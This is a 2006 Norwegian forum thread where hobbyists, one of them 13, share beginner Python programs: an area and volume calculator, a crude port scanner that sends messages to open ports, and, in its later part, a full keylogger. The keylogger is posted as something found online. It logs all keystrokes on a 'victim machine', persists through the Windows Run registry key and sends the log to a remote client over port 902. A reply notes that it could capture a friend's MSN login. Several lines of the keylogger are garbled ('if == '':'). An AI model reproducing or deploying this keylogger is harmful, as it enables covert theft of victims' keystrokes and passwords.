chipmann Skrevet 20. mai 2006 Del Skrevet 20. mai 2006 (endret) Jeg tenkte å lage en slik post her som er slik at alle kan poste sine programmerings-koder i Phyton her, slik at vi alle kan lære litt av hverandre. Forklar veldig gjerne hva programmene går ut på. Post alt dere synes er kult Her er mitt alle første program som ble ferdig. La meg minne dere på at jeg bare er 13 år, så ikke le! def circle(): print "You have chosen to find the area of a sircle\n" print radius = input("Please type in the radius of the sircle here: ") print "\nThe area of the sircle is: ", radius*radius*3.14 def rectangle(): print "You have chosen to find the area of a rectangle\n" print width = input ("Please type in the width here: ") height = input ("Please type in the height of the rectangle here: ") print "\nThe area of the rectangle is: ", width*height def square(): print "You have chosen to find the area of a square\n" print side = input ("Please type inn the lenght of one of the sides here: ") print "\nThe area of the square is: ", side*side def sylinder(): print "You have chosen to find the volum of a sylinder\n" print radius = input ("Please type in the radius of the sylinder here: ") height = input ("Please type in the height of the sylinder here: ") print "\nThe volum of the sylinder is: ", radius*radius*3.14*height def prism(): print "You have chosen to find the volum of a prism\n" print width = input ("Please type in the width of the prism here :") lenght = input ("Please type in the lenght of the prism here :") height = input ("Please type in the height of the prism here :") print "\nThe volum of the prism is: ", width*lenght*height def dice(): print "You have chosen to find the volum of a dice\n" print side = input ("Please type in the lenght of one of the sides here: ") print "\nThe volum of the dice is: ", side*side*side print "Welcome!" print print "This is a program made for calculation of area and volum." print "---------------------------------------------------------" while True: print "\nDo you want to calculate a new area?\n" print "1: Yes" print "2: No" choice = input ("\nType in 1 or 2 here: ") if choice == 1: while True: print "\n\nPlease select a shape:" print print "1: area of sircle" print "2: area of rectangle" print "3: area of square" print "4: volum of sylinder" print "5: volum of prism" print "6: volum of dice\n" shape = input ("Type in 1, 2, 3, 4, 5 or 6 here: ") print if shape == 1: circle() break elif shape == 2: rectangle() break elif shape == 3: square() break elif shape == 4: sylinder() break elif shape == 5: prism() break elif shape == 6: dice() break else: print "That is not a valid number. Please try again." elif choice == 2: print "\nGood bye!" break else: print "\nThat is not a valid number. Please try again." Endret 20. mai 2006 av chipmann Lenke til kommentar
luser32 Skrevet 20. mai 2006 Del Skrevet 20. mai 2006 (endret) Istedenfor å skrive: print print Burde du gjøre legge inn flere linjeskift("\n"), ser du har noen, men det er mulig å legge inn flere etterhverandre, både før og etter teksten;) Endret 20. mai 2006 av luser32 Lenke til kommentar
chipmann Skrevet 20. mai 2006 Forfatter Del Skrevet 20. mai 2006 (endret) Hvor vi lærer Phyton? blant annet her og her. Det er der jeg har lært det jeg kan, men selvfølgelig har jeg også fått hjelp her på forumet Bare post inn alle koder dere har Jeg vil også gjerne se noen av kodene til FraXinuS Endret 20. mai 2006 av chipmann Lenke til kommentar
FraXinuS Skrevet 20. mai 2006 Del Skrevet 20. mai 2006 hehe, jeg har ikke laget så veldig mye, har for det meste laget lignende ting som du har over her. Lenke til kommentar
chipmann Skrevet 20. mai 2006 Forfatter Del Skrevet 20. mai 2006 oki Post noe her hvis du lager noe kult da Lenke til kommentar
Sondre1504 Skrevet 21. mai 2006 Del Skrevet 21. mai 2006 Dette er en ganske dårlig lagd portscanner som sender en beskjed gjennom porten(e) som er åpne. import socket target = raw_input('Adress: ') startValue = input("Start port: ") endValue = input("End port: ") while startValue < endValue: try: streamSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) streamSocket.connect((target, startValue)) print "Connected at port", startValue startValue = startValue + 1 msg = raw_input(">>") streamSocket.send(msg) except: print "Failed to connect at port", startValue startValue = startValue + 1 [ Lenke til kommentar
memix Skrevet 23. mai 2006 Del Skrevet 23. mai 2006 Husker en gang jeg lagde sånn videodatabase i python, lenge siden da.. Glemt veldig mye python siden det, men tenkte å begynne på igjen python er så kos Lenke til kommentar
chipmann Skrevet 28. mai 2006 Forfatter Del Skrevet 28. mai 2006 se! Jeg fant denne på nettet!! Det er en keylogger. Tror dere at den er trygg? tror dere at den funker? """ Server Version *KeyLogger.pyw *Log all key strokes from victim machine Features: -Text File Transfer -Version 1.2 """ import os import string import sys import win32api import socket from _winreg import * def body(): try: socket1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) socket1.bind((socket.gethostname(), 902)) socket1.listen(5) conn, addr = socket1.accept() except socket.error: print "error with sockets" else: try: keylog_file = open("C:\\keylog_file.txt","w") except IOError: print "Error grabbing file" else: while 1: keyAscii = 0 for i in range(32, 256): key_log = win32api.GetAsyncKeyState(i) if key_log == -32767: print i key_end = 81 keylog_file.write(chr(i)) if i == key_end: keylog_file.close() keyin = open("C:\\keylog_file.txt","r") data = keyin.read() conn.send(data) def regwrite(): aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE) aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run") aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE) SetValueEx(aKey,"AciD Ice",0, REG_SZ, r"C:\your_project_name_here.pyw") CloseKey(aKey) CloseKey(aReg) if == '': class mainexecution: regwrite() body() """ Client Version *Client.py *Log all key strokes from victim machine Features: -Text File Transfer -Help -About -Version 1.2 """ import socket import os def body(): print "AciD Ice Client V-1.1" victim_IP = raw_input ("please input an IP to connect to ") host = victim_IP port = 902 addr = (victim_IP, 902) try: socket1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) socket1.connect(addr) except socket.error: print "failure to connect" else: print "connection Made to remote host =]" try: file = open("C:\\key_log_file2.txt","w") except IOError: print "error in file" else: logging() data = socket1.recv(1024) print data file.write(data) file.close() def logging(): print "Logging keys..." print "------------------------------" if == '': class mainprog: body() Lenke til kommentar
luser32 Skrevet 28. mai 2006 Del Skrevet 28. mai 2006 Tjaa, det sprøs hva du mener med trygg det:P For den som kjører clientversjonen er det ikke stress. Men hosten med serverversjonen får jo alle tastetrykk logget og sendt til clienten Kan jo være fint om du skal overvåke pc'ene i hjemmet. Men jeg kan vel si det slik at det er ganske surt om en kompis legger det inn på pc'en din. For så å kunne logge inn på msn'en din osv. Lenke til kommentar
chipmann Skrevet 28. mai 2006 Forfatter Del Skrevet 28. mai 2006 ja, men jeg mente om den var trygg for meg, men da tar jeg det som et ja, da. Lenke til kommentar
Anbefalte innlegg
Opprett en konto eller logg inn for å kommentere
Du må være et medlem for å kunne skrive en kommentar
Opprett konto
Det er enkelt å melde seg inn for å starte en ny konto!
Start en kontoLogg inn
Har du allerede en konto? Logg inn her.
Logg inn nå